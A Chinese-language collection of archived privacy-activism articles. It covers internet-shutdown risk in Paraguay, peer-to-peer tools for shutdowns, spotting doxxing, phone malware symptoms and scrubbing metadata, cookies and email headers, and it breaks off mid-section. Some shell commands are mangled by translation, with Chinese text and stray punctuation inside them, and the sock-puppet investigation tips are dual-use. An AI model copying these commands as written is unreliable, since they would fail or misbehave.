此外，国际压力（特别是来自西方国家的压力- 来自该国的侨民社区也可以推动地方政府就互联网限制发表意见）可能是一个重要的威慑因素。他们与西方的联系、对当地社区的影响以及国际压力，是一个非常微妙和流动性的领域，例如 Steven Levitsky 和 Lucan A. Way 已经做过的详细研究，与西方国家关系的地缘政治因素在其中有明显作用。

由于各种原因（其中包括文化、经济和其他原因）巴拉圭可以被视为一个与西方有着温和并现存联系的国家。喀麦隆这样的国家就是个相反的例子—自 2017 年1月以来，由于政治原因，互联网在整个地区被封锁—这可能需要分别进一步分析，关于具体国家与发达民主国家之间存在的联系、及其权力（或意志）可影响当地政府行动的能力。

巴拉圭当局更有可能采取行动，选择性地阻止政治话语活跃的社交媒体（或即时通讯）平台。这可能会持续更长的时间，并且对抗议者来说，会带来进一步令人沮丧的风险，重要的救援渠道被封堵，最终导致他们面对增大的政府压力。

最后回顾

虽然准确预测互联网关闭仍然是一项需要深入分析、监测技术信号和质量（通常是专有信息）的行动，但开源研究可以提供重要的提示，以便勾画出政府限制访问互联网的意图。

鉴于社会持久的对政府的负面情绪，以及抗议者表现出快速聚集的可能性，政府关闭互联网的动机仍然极有可能出现。

在研究哪些因素可能影响结果的过程中，我们概述了一个初步的研究和监测模型，可以作为分析和预测的初始模板，希望有助于进一步研究，最终能做到在濒临阈值前及时作出反应。

「图」

即便互联网已无法访问，但每个人的电脑实际上还是互相连接的。换句话说你们仍处于同一个巨型局域网之中，甚至仍有公网 IP。所以理论上通过某种方式，你或许能再度利用那些被荒废的网线和电缆。这里有三个方法，你只需要一个 U 盘：

1. 无服务器、永远在线的网站—— **ZeroNet** 网址：

https://zeronet.io/

ZeroNet 是一个免费、开源、使用 Bitcoin 加密技术和 BT 技术的全平台分布式网络工具，其原理就像BT下载：当通过种子(torrent) 下载电影和音乐时，这些资源的来源并非某个机房中的服务器，而是其他用户的电脑硬盘，只要在网络中还存在任何一台电脑『做种』，资源就能够被持续下载，同时提供资源的设备量也会迅速增长，因此 BT 下载无法被单点封禁。

ZeroNet 的工作原理与 BT 大致相同。在你通过 ZeroNet 搭建一个网站后，处于同一个网络中的用户即可通过 ZeroNet 将你的网络论坛下载到他的硬盘里，同时进行浏览。当第三个用户访问这个站点时，你和第二个用户会同时向他上传网站。如果用户基数足够大，那么即便你的电脑关机甚至硬盘损坏，只要别人的电脑上仍保存有网站的文件，这个网站就能永远『存活』下去。

ZeroNet 提供论坛、博客、社交网站、加密邮件、即时聊天等，几乎覆盖了大多数的互联网服务。在断网时期，网民实际上有能力以极低成本来为彼此搭建这些基础服务。不仅如此，ZeroNet 还可以通过 Tor 网络隐藏身份。

2. 断网后照样聊天—— **Tox** 网址：

https://tox.chat/

Tox 是一个开源免费的分布式加密通讯协议，诞生于斯诺登曝光之

后，对用户的通讯内容进行端到端加密，中间不经过任何中央服务器，还可以用于局域网内通讯。

Tox 和 ZeroNet 一样，也使用了 BT 技术，将用户点对点的连接起来。在你使用 Tox 的时候，会生成一个唯一的用户名，只要你的朋友知道你的用户名，即可开始聊天。

目前 Tox 已经支持全平台，并有很多版本的客户端，界面简单易用不需要复杂配置。

3. 传递资料—— **Resilio Sync**

Resilio Sync 是一个分布式同步工具，支持全平台（但不开源）。当你把一个文件夹加入 Resilio Sync 中时，可以生成一串密钥，如果在另一台设备的 Resilio Sync 中输入该密钥，就能将你的文件夹远程同步到这台设备中。之后加入的所有同步节点，都可以在下载资源的同时向其他用户上传资源。

由于文件存储在本地硬盘而非服务器上、对传输内容进行了加密、又以 BT 基础为依托，Resilio Sync 实际上是一个高安全度、无存储空间限制、无下载流量限制、无审查、无法被封杀的超级网盘。资源拥有者甚至可以通过设置权限来控制资源的分发和更改。例如你和你的朋友希望分发你们的音乐专辑，那么你可以分配给他读写权限，然后将只读权限通过各种方法公开出去，此时你们二人可以远程协作共同编辑专辑，而其他网友则可自由下载，当文件被修改的时候，所有同步节点都会被更改。

不论如何，准备一个 PlanB 不至于措手不及。〇

原文

如何知道有人正在线人肉你？6个简单的方法 - iyouport

护盾（AS）

【2020年3月24日存档】追踪和反追踪用的是同一套方法，这或许就是这个互联网最有趣的地方 —— 正义和邪恶，谁掌握的技能多，谁就能获胜。

还记得我们介绍过的自我人肉技巧吗？这是为了帮助您在被恶意者挖到之前先自己找到泄露的细节并删除它们。您可以在下面回顾：

- 《自我人肉（1）基本方法》
- 《社交媒体情报和反情报基本工具手册：自我人肉（2）》

如果您曾经尝试做过，就会知道，在几乎任何地方都有可能挖到关于您的真实身份信息 —— 其中也许包含很致命的信息，如果落在恶意者手里，将对您非常不利。

那么，您如何才能得知有人正在网上人肉你呢？幸运的是，其中大多数资源都具有监视服务，您可以在有人搜索您的名字和相关重要信息时使用该服务来获取警报。

本文将介绍一些非常简单的操作，您可以设置警报或监视其他人何时使用互联网查询您的名字。一共6个部分。

从最简单的开始。

1、LinkedIn个人资料视图

任何人都可以从 LinkedIn 内搜索您的名字，并以这种方式访问您的公开个人资料信息。

我们介绍过 **LinkedIn** 追踪的方法，在下面回顾：

- 《如何从求职网站快速追踪挖掘情报：高级LinkedIn搜索》

- 《把 LinkedIn 作为情报挖掘工具：简易指南》

LinkedIn 为会员提供了一种轻松的方法，以了解谁查看了您的个人资料。

要查看此信息，请登录您的 LinkedIn 帐户。在屏幕左侧的个人资料名称下，您会看到一个名为谁查看过您的个人资料的链接 。

在链接的右侧，您可以查看最近有多少人查看了您的个人资料。要查看更多详细信息，请单击链接。

向下滚动到 “All profile viewers” 部分。在这里，您将看到有关谁最近查看了您的 LinkedIn 帐户的一些详细信息。

这些信息包括：

- 名字
- 受雇的的公司
- 他们如何找到你的个人资料
- 您的 LinkedIn 人际关系中的哪些也与此人有关
- 他们在多久前查看了您的个人资料

不幸的是，您看不到查看过您个人资料的人的整个列表，除非购买高级LinkedIn会员。

如果您确实需要知道谁在查看您的 LinkedIn 个人资料，那么该高级会员身份可能是值得的。

⚠调查人员任何避免这点？—— 当然是使用袜子木偶账户进行调查，即便目标人发现了你，他也不知道你是谁。在下面看到具体做法：

- 《某些行动者，你需要一个袜子木偶》
- 总—基础知识《摆脱追踪者：您的行动必须是匿名的，否则没有可持续性》

2、为您的名字创建 Google 提醒

人们用来在互联网上查找有关您的信息的最常用工具是Google。我们介绍过谷歌在深度调查方面的用法：

- 《攻防皆可用：GoogleDorking 高级运算符完整列表》

- 《一个搜索统治一切：调查用心而非技术》

虽然您可能无法监视是谁在使用Google搜索你的名字，但是你可以监视何时有人开始挖你。

您需要一个提醒，以便在任何提及您名字的内容被创建时及时提醒你，请访问 Google Alerts。

确保您已经登录了Google帐户。在 “**Create an alert about**” 字段中，键入您的名字或者最常用的昵称再或者最关键的信息 —— 你知道自己最在乎什么，然后选择 “创建提醒”。

每当您将任何内容添加到 Google 提醒列表时，或者任何时候对包含您的姓名的网站进行新的搜索时，您都会收到一封有关该 Google 提醒的电子邮件。该电子邮件将包含指向提及您名字的网站的链接。

您会注意到，在电子邮件的底部，您可以单击链接以RSS提要的方式接收提醒。这将使您可以将提要添加到您可以使用的任何种类的提要阅读器中。

☆作为调查人员，如何避免被调查目标发觉？—— 很简单，不要用谷歌，使用更加私密的搜索引擎。在这里看到大全《如果你擅长搜索，你能找到一切：*没有谷歌*的强大搜索世界》。

3、Facebook Story Viewers

Facebook 用户最常见的要求之一是想要知道谁查看了他们的 Facebook 个人资料。不幸的是，没有办法直接做到这一点。

但是，在 Facebook 的某些区域中，您可以看到访客。

如果您定期发布 Facebook 帖子，那么知道谁查看过您帖子的唯一方法是有多少“点赞”该帖子的人。可惜这不是准确的。

但是，当您添加到 Facebook Stories 时就不是这样了。如果您选择该字段来输入 Facebook 帖子，您会注意到可以将帖子从 “**News Feed**” 切换到 “**Your Story**”。

您可以将最多20秒的视频（或图像）发布到您的 Facebook Story 中。该信息将保持活动状态24小时，然后消失。

发布后您会注意到一个眼睛图标显示在该帖子的左下角，旁边有一个

数字。

该数字代表的是查看过该帖子的 “朋友” 的数量。如果单击那个眼睛图标，则可以看到查看过该帖子的人都是谁。

如果您查看 Facebook 新闻源，那么在右侧可以看到指向您的故事的链接。

在左侧，您会看到带有＋符号的个人资料照片。如果单击此按钮，可以查看所有最近的故事帖子，以及哪些朋友已查看这些帖子。

不幸的是，Facebook 没有为常规帖子提供此功能，但是至少在您发布到 “Story” 列表时，您可以看到所有查看过该帖子的朋友。那么很简单，您认为重要的内容就这样发布吧。

关于利用 Facebook 进行调查追踪的方法和工具有非常多；

- 《搜人、照片、视频、位置 …… 大全：新的FB”图谱搜索”替代方案—— 尤其强调防御》
- 提醒防御《如何跨社交媒体平台追踪目标人？⚠ 警告安全意识》
- 不要错过《在互联网上识别和追踪一个人的基本方法》

4、Facebook 好友算法

虽然看不到查看过您的特定 Facebook 帖子的朋友列表，但是可以通过间接的方式查看哪些朋友与您的 Facebook 个人资料互动最多。

如果发现可疑的莫名其妙的账户，拉黑TA。

没有人真的知道 Facebook 在好友列表中显示好友的顺序的具体细节。但是进行足够的研究后会能知道，它至少考虑了以下所有这些因素：

- **Facebook** 互动：您与这些朋友在 Facebook 上互动的频率。
- 个人资料查看：这些朋友查看您的个人资料的频率、或您查看他们的个人资料的频率。
- 照片标记：在照片中添加了您的标签的朋友。
- **Wall Posts**：在你的时间线上发布的朋友。
- 点赞：他人点赞您的信息的频率，或者您点赞他们的信息的频率。
- 评论：您或朋友对彼此的帖子或图片发表评论的频率。

- 照片：你们查看彼此照片的频率。
- 在线：如果朋友当前在线，则更有可能出现在您的朋友列表的顶部。

由于 Facebook 上最常见的活动是查看目标人的个人资料和帖子，而无需与他们进行互动，所以，您能看到的朋友列表顶部的显示的人是最常查看您的个人资料和帖子的人。

5、Twitter Viewers

与 Facebook 相比，Twitter 提供了更多有关 Twitter 关注者的信息，但仍未提供正在搜索您的人的姓名。

但是，您可以了解到有关与您的推文进行交互的人的很多信息。

要查看您的受众信息，您需要使用 Twitter Analytics。您可以通过单击个人资料名字旁边的向下箭头并选择 Analytics（分析）来访问它。

此页面将向您显示您的主要关注者是谁，以及所有推文的总体效果。

您可以单击查看关注者仪表板，以查看有关您的 Twitter 受众的常规详细信息。

您可以看到一些统计信息，例如性别、家庭收入和关注者的兴趣；这可能不会告诉您在 Twitter 上寻找您的人究竟是谁，但至少可以告诉您他们的兴趣倾向，以便您可以为关注者量身定制发布的主题。

⚔对于调查人员来说，袜子木偶依旧是好的选择 —— 尤其是当您的调查对象是政府高官、僵尸牧民、信息战领军者等等，他们可能有很好的反侦察防备，所以您必修保护好自己的匿名性。

关于通过 **Twitter** 进行开源情报调查的一些常规有效技术，在下面回顾：

- 《如何只用电子邮件地址追踪到 Twitter 帐户？》
- 《如何从推特挖掘情报（1）：一个流行工具的具体介绍》
- 《观察追踪者的思考方式：挖掘推特情报的基础教程（2）》
- 《调查记者如何从社交媒体上挖掘情报？》
- 《绕开推特算法噪音、使用基本运算符挖掘推特数据的方法》
- 《如何可视化推特对话：极简小工具》
- 《从推特中挖掘真相不需要太复杂的工具：一个常用工具的全

面指南》
- 《如何在Google表格中保存任何你想要的推文？调查者和分析师的工具》

6、使用 **Google Analytics**（分析）创建个人资料网站

很多平台可以让你轻松建立自己的个人资料网站，其中包含有关您的背景和经验的信息。

个人资料网站是一种与潜在的雇主轻松分享您的背景和职业经历的绝佳方式。

如果您已经为自己的名字购买了一个网站域名，那么当人们搜索您的名字时，它也将成为最热门的搜索结果。

这将成为大多数人在网上寻找您时可能会点击的链接。

如果您将 Google Analytics 嵌入到此网站中，则可以收集有关在网络上查找有关您的信息的人员的大量信息。

Google Analytics 可能不会提供访问您网站的人的姓名，但是您可以了解其他任何信息。例如以下这些：

- 年龄
- 性别
- 国家/地区
- 兴趣
- 访问频率
- 使用的搜索字词

这些信息可以使您深入了解在线搜索您的人的类型。

如果您是作家或从事向人们提供信息的任何其他公司或公民社会组织，那么这些信息可以帮助您和组织调整您的发布，以便令受众群更满意。简单说就是营销思路。

IYP不使用营销思路，我们提供的内容都是根据我们的民主经验认为成为一个合格公民所需要掌握的技能、知识、和技巧。

谁在找你？

如您所见，LinkedIn 和其他社交媒体网站是查看特定在线搜索对象的

最佳方式。但是 Google 提醒和您的网站也可以提供更多见解。

您采用哪种方法取决于您想了解目标对象什么样的信息。当然，最有效的永远是开源情报调查 —— 并不是所有人肉贩子都擅长完美的袜子木偶；糟糕的袜子比比皆是，挖出其背后的真实身份可能不难。

简单说就是反向追踪：Watching The Watchers。所有技巧方法参见我们的 “开源情报” 栏目。易于追踪是这个互联网的本性，追踪技术被谁掌握，将决定它是正义还是邪恶。

你是好孩子，你应该比那些坏家伙懂得更多，能力更强。这样我们才能做到以正压邪。加油。〇

原文

如何识别手机上的恶意软件？ - iyouport

护盾（AS）

【2020年7月29日存档】人类如果感染病毒会发烧咳嗽，手机感染病毒的结果也会出现一些“症状”，让您知道它病了。这些症状也许不够明显，您需要在多个方面保持警惕以及早移除病灶，至少是本文中列出的这些方面。

恶意软件和间谍软件是最常见的两个计算机安全问题。虽然确实很容易使计算机感染恶意软件，但重要的是不要忽视移动设备也很受到影响这一事实。

当智能手机感染了恶意软件时，它可能会导致多个问题，包括被监视、被跟踪、被骇客从受害者那里窃取最私密的信息，等等。不要错过我们今年的系列内容“难以被追踪”：

- 《在不自由中创造自己的自由：变得难以被追踪的简单方法（1）》
- 《构建防御直觉是生存的基本功：变得难以被追踪的简单方法（2）》
- 《与S先生共度美好一天—反取证技巧：变得难以被追踪的简单方法（3）》
- 《保持零信任：变得难以被追踪的简单方法（4）》
- 《少即是多：变得难以被追踪的简单方法（5）》
- 《大保健应该成为习惯：变得难以被追踪的简单方法（6）》
- 《在雷达下低飞：变得难以被追踪的简单方法（7）》
- 《到底也没有无法被监听的电话？：变得难以被追踪的简单方法（8）》
- 《8个步骤实现基本匿名实践：变得难以被追踪的简单方法（9）》

对于任何智能手机用户来说，了解如何检查自己的手机是否感染了病毒，是重要的一步。

有几种迹象可能表明设备上存在病毒，如果您识别出了这些迹象，立

刻采取适当的措施至关重要，例如 使用可靠的防病毒软件。

如何确定我的手机是否感染了病毒？

智能手机用户必须意识到随时可能出现的诸多威胁，包括攻击者现在执行的最新DNS劫持。

感染后的手机难以检查病毒会导致多种问题，包括 勒索软件、密码盗取、窃取机密数据等等。此外，还有一些恶意软件也可能导致智能手机的物理功能出现问题。

以下7个迹象表明您的智能手机已被恶意软件感染：

1、数据使用量突然增加

在查看手机是否感染病毒时，最早出现的迹象之一就是数据使用量会突然增加。

即使智能手机上的某些应用程序和游戏可能会占用大量数据，但在没有明显原因的情况下使用的数据量突然增加时，这可能表明手机已感染病毒；尤其是 ADB.miner 之类的恶意软件以在 Android 手机和智能电视上挖掘 Monero 币而闻名。

iOS 和 Android 都在 “设置” 部分提供了一个功能，使智能手机用户可以大致了解自己的设备上正在使用多少数据。

Android 设备也将能够提供一个图表，显示指定时间段内的数据使用情况 —— 这样就很容易检测到突然增加的情况。

对于 Android：

- 打开手机的“设置”应用。
- 点击 Network & internet 」 Data usage.
- 在 “Mobile” 下，您会看到您使用了多少数据。
- 要查看图表和详细信息，请点击 Mobile data usage；要选择时间，请点击向下箭头；要查看每个应用使用了多少数据，拉到图表下方。

对于 iPhone：

要打开或关闭蜂窝数据，请转到 “设置”，然后点击 “蜂窝数据” 或 “移动数据”。如果您使用的是iPad，则可能会看到 Settings 」

Cellular Data；如果您使用的是双SIM卡 iPhone，则需要将其中一个号码设置为主要数据。

2、耗电量增加，明显比平时更费电

这是另一个感染迹象。尽管有时这可能表明电池已损坏，但仍有多种病毒可能会导致智能手机电池快速耗尽。

所以依旧要建议您在花钱更换电池之前，应该首先对手机进行排除感染的扫描。2019年2月，研究人员揭露了一项名为 DrainerBot 的 Android 主要广告欺诈骗局，其特征就是费电和吞噬设备数据。

3、智能手机的性能突然下降

市场上一些较新的智能手机倾向于配备功能强大的处理器和足够的 RAM，以轻松处理应用程序和游戏中使用的最新技术。

当装有这种技术的智能手机 *突然* 开始出现性能降低的情况时，也可能表明该设备已感染病毒。

这也许不大容易被注意到。有时只有进入需要强大CPU和GPU的游戏时，性能下降才会引起注意。

而在其他情况下，病毒也可能导致移动设备的整体性能下降，即使执行简单的任务（如拨打电话或阅读短信）也是如此

4、智能手机开始过热

除了发现智能手机的性能不足外，过热可能是另一个迹象表明它已被 HiddenMiner 之类的恶意软件感染。

在大多数智能手机中这都是一个罕见的问题。因此，当出现过热问题时，病毒扫描可以帮助检查手机上的恶意软件。

5、陌生的应用程序开始显示在设备上

感染智能手机的病毒有时可能会导致您不熟悉的应用程序被自动安装。

因此，如果有一些应用程序在用户不知情的情况下出现在手机上，就可能是该设备已感染病毒的又一个迹象。

当该应用程序看起来很可疑时，不仅应将其删除，而且，还应彻底扫描设备本身以查找可能的病毒的残留痕迹。

6、Wi-Fi和移动数据自动开启

您应该时刻警惕移动数据和Wi-Fi开关。由于病毒通常会通过互联网发送和接收数据，在用户禁用移动数据或Wi-Fi连接后感染也可能会导致数据被打开。

7、弹窗广告

另一个烦人但很明显的迹象是弹出广告的突然出现。即使在用户离开应用程序并留在手机首页后，这些内容仍然会显示出来。

这类弹出广告有时会显示不适当的内容，或将用户引导至智能手机应用程序商店中。

结论

恶意软件会同时影响台式计算机和移动设备。当智能手机受到影响时，问题可能更严重，因为那上面通常都有银行卡和信用卡的详细信息。

如果您怀疑自己可能受到感染，就需要了解如何确定病毒的存在；这可以帮助您采取措施删除病毒以保护您的敏感数据。〇

How to identify malware on your phone with these 7 signs

原文

如何躲避监视追踪？大清洗：反侦察的第一步 - iyouport

护盾（AS）

【2019年7月5日存档】如何对付”取证工具”、如何避免被浏览器告密、如何释放磁盘空间、清除和删除不是一码事，究竟应该怎么做？本文提供一系列清洗剂，希望您的大扫除足够愉快

几乎所有人都不希望其他人看到很多信息，例如：

- 信用卡信息
- 社会保险号
- 私人通信
- 个人资料
- 银行账户信息
- 医疗健康记录
- 其他敏感信息，如元数据
- 等等

你不能简单地将它们扫到地毯下面。根本没有那么大的空间。地毯下面已经有太多文件了，可见的和不可见的，Cookie，各种元数据，临时文件，缓存文件，一切都是随意堆放的，整个地方简直一团糟。

当我面对这种庞大的噪杂的状况时，我倾向于找一些空盒子，从前门开始，从一个房间到另一个房间，找到那些不属于该房间的东西，把它们收集起来装进盒子。我经常对盒子进行分类，并将东西放在“正确的位置”（通常是垃圾箱）。也有时，“正确的位置”被指定为另一个物理位置。万一有客人来，我会让某些混乱看起来像一堆垃圾，所以它不会被注意到。

每年左右，除了我保留用于访问社区空间的一些钥匙、以及我保存在房屋外的容器中的一些个人物品外，我会烧毁整个地方并建造了一所新房子。总的来说，这个策略对我有用。

下面我们介绍一些典型的需要你收拾的东西。

——元数据——

如果你询问关于一个人的事实是否能确定该人，那么答案将不仅仅是肯定或否定。如果我只知道的一个人的邮政编码，我并不知道他们是谁；如果我所知道的只是他们的出生日期，我不知道他们是谁；如果我所知道的只是他们的性别，我不知道他们是谁。但是，事实证明，如果我同时知道关于一个人的这三件事，我就能推断出他们的身份！其中每个事实都是部分识别。

有一个数学量可以帮你衡量一个事实与唯一揭示某人身份的结论之间的接近程度，就是熵，通常以比特来衡量。您可以认为熵是随机变量的不同可能性的数量概括：如果有两种可能性，则有1位熵; 如果有四种可能性，则有2位熵，以此类推。再加一位熵会使可能性的数量增加一倍。

元数据是关于数据的数据。

说白了，元数据就是隐藏的数据，它是可以 f**k you 的。元数据提供有关文件的背景信息。有可能是您创建的每个文档，您拍摄的每张数字照片，您下载的每个音乐文件等等，都具有少量元数据，这些元数据可能泄露有关您身份的重要信息。

公司收集元数据用于心理操纵—— 说服或广告；政府收集元数据，就……你懂的。

元数据在计算机取证中也扮演着许多重要角色：

- 它可以提供有关文档数据本身的确证信息。
- 它可以揭示有人试图隐藏、删除的信息。
- 它可用于自动关联来自不同来源的文档。

众所周知斯诺登透露了一个大规模的监控计划，包括拦截电子邮件和其他互联网通信和电话窃听。上游收集、Hemisphere 和 XKeyScore 都是吞噬我们的元数据，并通过 ICReach 等互连系统，数据可以被共享并与其他数据相关联。您可以使用此类关联数据库执行许多聪明的情报分析。这就是间谍们正在做的事。如果你我都能想到这么做，那么他们当然也能想到。

而且，不仅是美国国家安全局和五眼国家的其他机构，这些技术事实上已经被许多国家用来恐吓和控制其人口。

照片——

照片包含隐藏信息，包括拍摄地点的 GPS 坐标、日期和时间、相机快门设置详细信息，甚至可能是您用于编辑它们的程序的名称。这种类型的元数据可能很有用，但您更可能希望在在线共享它之前将其从照片中删除。

ExifTool 是一个 perl 程序，可用于读取和编辑图像中的 exif 元数据。

mogrify 命令也可用于从图像中剥离 Exif 数据。对于与上面相同的文件，然后再次使用 exiftool 进行检查：

用于从目录及其所有子目录中的所有 jpg 图像中递归删除 Exif 数据：

```
$ find ./path/directory -type f -iname'* .jpg'|
xargs mogrify -strip
```

exiv2工具 http://www.exiv2.org/manpage.html 还有一个命令，用于删除图像中的所有 Exif 数据：

```
$ exiv2 rm imagename.jpg
```

要从当前目录中的所有 jpg 图像中删除 Exif 数据：

```
$ exiv2 rm * .jpg
```

用于从目录及其所有子目录中的所有 jpg 图像中递归删除 Exif 数据：

```
$ find ./path/directory -type f -iname'* .jpg'|
xargs exiv2 rm
```

MAT 是一个由 GUI 应用程序、CLI 应用程序和库组成的工具箱，用于匿名/删除元数据https://mat.boum.org/。

文件——

文档元数据是关于文档、电子表格、pdf 文件的一个或多个方面的信息，对于创建它们的人来说并不总是可见的，但是可以由接下来接收它们的人找到。注释、跟踪更改、隐藏文本、标记、属性、附件和书签，都是文档元数据的示例。元数据删除软件可识别并删除文档中包含的元数据，因此无法再共享。

hexedit：

- 在操作任何 hexedit 代码之前，请务必备份数据。
- 通常，切换到 ASCII 模式，关闭“只读”模式，然后开始搜索文件。有关导航和命令，请参阅http://linux.die.net/man/1/hexedit。

例如，当擦洗 pdf 时查找“已创建”（元数据不止一次出现在 PDF 文件中）。如果找到元数据，则更改为假数据或删除。然后再次重复搜索 “create”, “creation”, “modified” 和 “modify” 等术语，同样替换或删除日期，再次重复每次搜索，以确保不会留下尾巴。

vi：

您还可以将 vi 用作十六进制编辑器。它不是一个真正的“十六进制模式”，所发生的是 vi 的缓冲区通过外部程序流式传输 xxd，但它适用于某些擦洗的情况。

像往常一样在 vi 中打开文件，点击 escape 并切换到十六进制模式：

：% ！XXD

完成后，退出十六进制模式，再次点击 escape 并键入

：% ！xxd -r

pdftk 和 sed：

有关 pdftk 命令，请参阅http://linux.die.net/man/1/pdftk。

要查看 Adobe Reader 默认情况下未显示的元数据：

```
$ pdftk filename.pdf dump_data
```

要更改元数据，首先将元数据放在文件中：

```
$ pdftk filename.pdf dump_data输出pdf-metadata
```

打开 pdf 元数据文件并删除您希望清理的数据：

保存 pdf 元数据文件。现在，您可以使用该数据来清理文件中的元数据：

```
$ pdftk filename.pdf update_info pdf-metadata
output filename-no-metadata.pdf
```

并检查结果：

```
$ pdftk filename-no-metadata.pdf dump_data
```

创建日期消失，并且出现了新的修改日期。iText 放弃了 pdftk 的使用。可以使用 sed 删除这些 infokeys：

```
$ sed -i 's/iText\ 2\.1\.7\ by\ 1T3XT//;s/
D:20120409144213+02'\//00'\////' filename-no-
metadata.pdf
```

PdfID0 和 PdfID1 是文件标识符。它们是有关该文件的各种信息的 md5，因此它具有唯一的字符串来标识文档而无需使用文件名。如果您也想要擦洗它们，请使用上面的 sed。使用 sed 从元数据中清除这两者并不需要什么烦人的技巧，这非常简单。

mat：

一旦 mat 检测到任何元数据，“State”将被标记为“Dirty”。您可以双击该文件以查看检测到的元数据，然后单击“清除”按钮以清空文件中的所有元数据字段。

您也可以从命令行运行 mat。如果没有选项，则默认操作是从文件中删除元数据。

检查目录及其子目录中的文件：

```
$ mat -c。
```

检查检测到的元数据：

```
$ mat -d
```

要清理所有文件并将原始文件存储为“* .bak”：

```
$ mat-b。
```

关于元数据，请详见 **IYP** 的更多介绍：

- 《无处可藏的数字足迹—— 亦正亦邪元数据 (上篇)》

- 《都是工具，从自我保护到有效利用—— 亦正亦邪元数据 (下篇)》

——删除 **cookie**——

Cookies 不是软件。它们无法编程，无法携带病毒，也无法释放恶意软件，无法通过硬盘驱动器。但是跟踪 cookie，特别是第三方跟踪 cookie 通常被用作编译个人长期浏览历史记录的方法。IYP 介绍浏览历史记录有多可怕，详见《浏览历史记录曝光你的内心全景图：#OSINT 开源调查演示》

Firefox：偏好 」 隐私 」 接受第三方 cookie 」从不。

Firefox /工具 」选项 」隐私 」“使用历史记录的自定义设置” 」Cookie：保持到：“我关闭Firefox”。

就是这么简单。

请注意，如果将某些 cookie 编码到会话历史记录文件中，那么某些 cookie 可能会在关闭时清除，Firefox 用于恢复以前的会话窗口和选项卡的文件。

——删除 **evercookie**——

Evercookie 是一个可用的 JavaScript API，可以在浏览器中生成极其持久的 cookie。它的目标是在客户删除标准 cookie，Flash cookie（本地共享对象或LSO）等之后识别客户端。Evercookie 通过将 cookie 数据存储在本地浏览器上可用的几种类型的存储机制中来实现这一点。此外，如果 evercookie 发现用户已删除任何类型的 cookie，它会使用每种可用机制重新创建它们。

使用 BleachBit，你可以在 Firefox，Safari 和谷歌浏览器删除 evercookies。这是一个免费的开源磁盘空间清理器，隐私管理器和计算机系统优化器（http://katana.oooninja.com/bleachbit/）

——搜索泄漏——

在大多数搜索引擎中，当您进行搜索然后单击链接时，搜索条件将发送到您单击的网站。这被称为“搜索泄漏”。

不仅是您打算访问的网站，还有搜索引擎也会从您的计算机获取数据。例如，谷歌跟踪用户搜索和在线行为，这并不是秘密，谷歌经常

与要求这些数据的政府分享这些信息。有关详情，请参阅 Google 透明度报告http://www.google.com/transparencyreport/ 谷歌首席执行官埃里克施密特在过去的https://en.wikipedia.org/wiki/Eric_Schmidt#Public_positions 中提出了许多有争议的陈述。

Startpage https://www.startpage.com/ 也可以与 Ixquick 代理结合使用。在 Startpage 搜索结果页面上，可以使用 'View by Ixquick Proxy' 选项通过代理访问搜索结果。Startpage 具有适用于 Mozilla Firefox 的 SSL 和 HTTPS 附加组件。

——伪装——

浏览器——

当您的浏览器从Web服务器请求页面时，浏览器会发送有关自身的信息以及请求。这些标题包括指示浏览器类型（Firefox，Opera，Mozilla 等），浏览器版本和底层平台（Windows XP，Linux，Mac OS X 等）的值。有关浏览器发送的数据，请访问http://www.ericgiguere.com/tools/http-header-viewer.html（javascript）。然后，Web 服务器使用此信息为浏览器选择适当的页面格式，因为不同的浏览器（甚至同一浏览器的不同版本）在支持 HTML 和 JavaScript 时具有不同的不兼容性。

有时，Web 服务器会错误解释或无法识别此信息，并向您发送格式不正确的页面。服务器甚至可能拒绝您访问其页面，无论是出于政治原因、还是您正在使用该网站不赞成的浏览器，或者因为其网页仅针对特定浏览器版本进行了测试 .....解决方案是通过将浏览器伪装成另一个浏览器来欺骗服务器。

内置于 Firefox 和 Chrome 中的是一些“地毯底下”的设置，可以在浏览时更改这些设置以改善您的隐私和匿名性。然而，我们可以做的大部分事都是为了掩盖身份，也可以避免会话被脱颖而出（尽管将会话与身份联系起来更难一点点）。根据您的背景、目的、威胁模型，不要让自己像互联网高速公路上的“大红色 A-Team 坦克车”一样脱颖而出。真的，浏览器说出去的东西太多了。

使用 panopticlick，您可以根据与其访问的网站共享的信息，测试您的浏览器配置的罕见性或独特性。Panopticlick 提供唯一性分数，让您看到在网上冲浪时辨认出您的身份有多容易https://panopticlick.eff.org/

用户代理切换器：

您可以添加自己的用户代理，甚至模仿成 webspider 并在它们之间切换。有关令人信服的用户代理列表，请参阅http://www.user-agents.org/index.shtml

- Chromium：https：//chrome.google.com/webstore/detail/user-agent-switcher-for-c/djflhoibgkdhkhhcedjiklpkjnoahfmg
- Firefox：https：//addons.mozilla.org/en-US/firefox/addon/user-agent-switcher/

电子邮件——

电子邮件包含一个标题，其中包含发件人的 IP 地址以及可能在此过程中附加到标题的其他信息，例如作为垃圾邮件评级，电子邮件服务器上运行的反垃圾邮件软件可能会适用于邮件和服务器添加的其他信息。电子邮件客户端使用此信息来帮助识别垃圾邮件。

根据 RFC 821，电子邮件客户端将在 Helo / EHLO 命令中发送其域名，其中包括IP地址。随之而来的需求是伪装。

Thunderbird：

要查看 Thunderbird 电子邮件中的标题信息，请选择该邮件，然后单击“查看”菜单并选择“标题”」“全部”。消息的标题信息将替换 Thunderbird 窗口中的消息。

从技术上讲，hello 字符串中的IP地址值与发送/接收邮件无关，但由于它可能用于垃圾邮件评分或仅仅是出于礼貌，我建议输入有效的IP/主机名，如127.0.0.1。

要在 Thunderbird 编辑」 首选项」 高级」 配置编辑器中全局更改（对所有帐户）：

创建（或编辑）名为“mail.smtpserver.default.hello_argument”的条目（如果需要创建它，请使用右键单击」新建」字符串）

将该值更改为所需的IP或主机名（FQDN）：

要为每个 SMTP 服务器更改它，请创建（或编辑）名为 mail.smtpserver.smtp 「number」 .hello_argument 的条目，其中「number」是要将设置应用于的SMTP服务器的ID。在 Thunderbird

配置编辑器顶部的搜索框中键入“mail.smtpserver.smtp”，以查看哪些可用以及它们具有哪个ID。如果需要创建条目，请使用右键单击」新建」字符串。

TorBirdy 是 Thunderbird 的插件。它试图匿名您的连接（您需要安装 tor）并删除和更改几个信息字段；如果没有安装 tor 和 torbirdy，列表中有一些您可能希望在配置编辑器中更改的其他字符串的优秀示例。

请注意，如果您不是高级用户，除非您非常确定自己在做什么，否则不应更改任何设置。 **TorBirdy** 更改的偏好在卸载或禁用时将恢复为原始值。

postfix：

使用您喜欢的编辑器打开#vi /etc/postfix/main.cf并添加以下行：

```
smtp_bind_address=127.0.0.1
```

Restart postfix:

```
# /etc/init.d/postfix restart
```

——清理你的语言——

